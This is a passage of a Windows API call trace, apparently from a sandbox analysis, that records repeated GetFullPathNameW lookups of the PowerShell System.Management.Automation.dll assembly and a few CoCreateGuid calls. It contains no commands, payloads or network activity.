lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.472] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x901f5666, Data2=0x26b6, Data3=0x4b68, Data4=([0]=0x98, [1]=0xd5, [2]=0xee, [3]=0x91, [4]=0x8b, [5]=0xd1, [6]=0x61, [7]=0xb2))) returned 0x0 [0062.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.475] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.475] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.475] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.475] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.475] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.475] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.476] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.476] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.476] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.476] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.476] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.476] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.477] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.477] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.477] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.477] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.477] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.478] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.478] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.478] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.480] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xc6480149, Data2=0x49cf, Data3=0x4fd6, Data4=([0]=0xb6, [1]=0x5b, [2]=0x3e, [3]=0x62, [4]=0x14, [5]=0x7e, [6]=0x7, [7]=0x80))) returned 0x0 [0062.480] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.480] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.480] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.480] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.481] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.481] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.481] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x7cd33fa2, Data2=0xf851, Data3=0x4c79, Data4=([0]=0xa5, [1]=0x88, [2]=0xa6, [3]=0x88, [4]=0x21, [5]=0x9b, [6]=0x51, [7]=0x31))) returned 0x0 [0062.481] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.481] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.481] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.482] GetFullPathNameW (in: 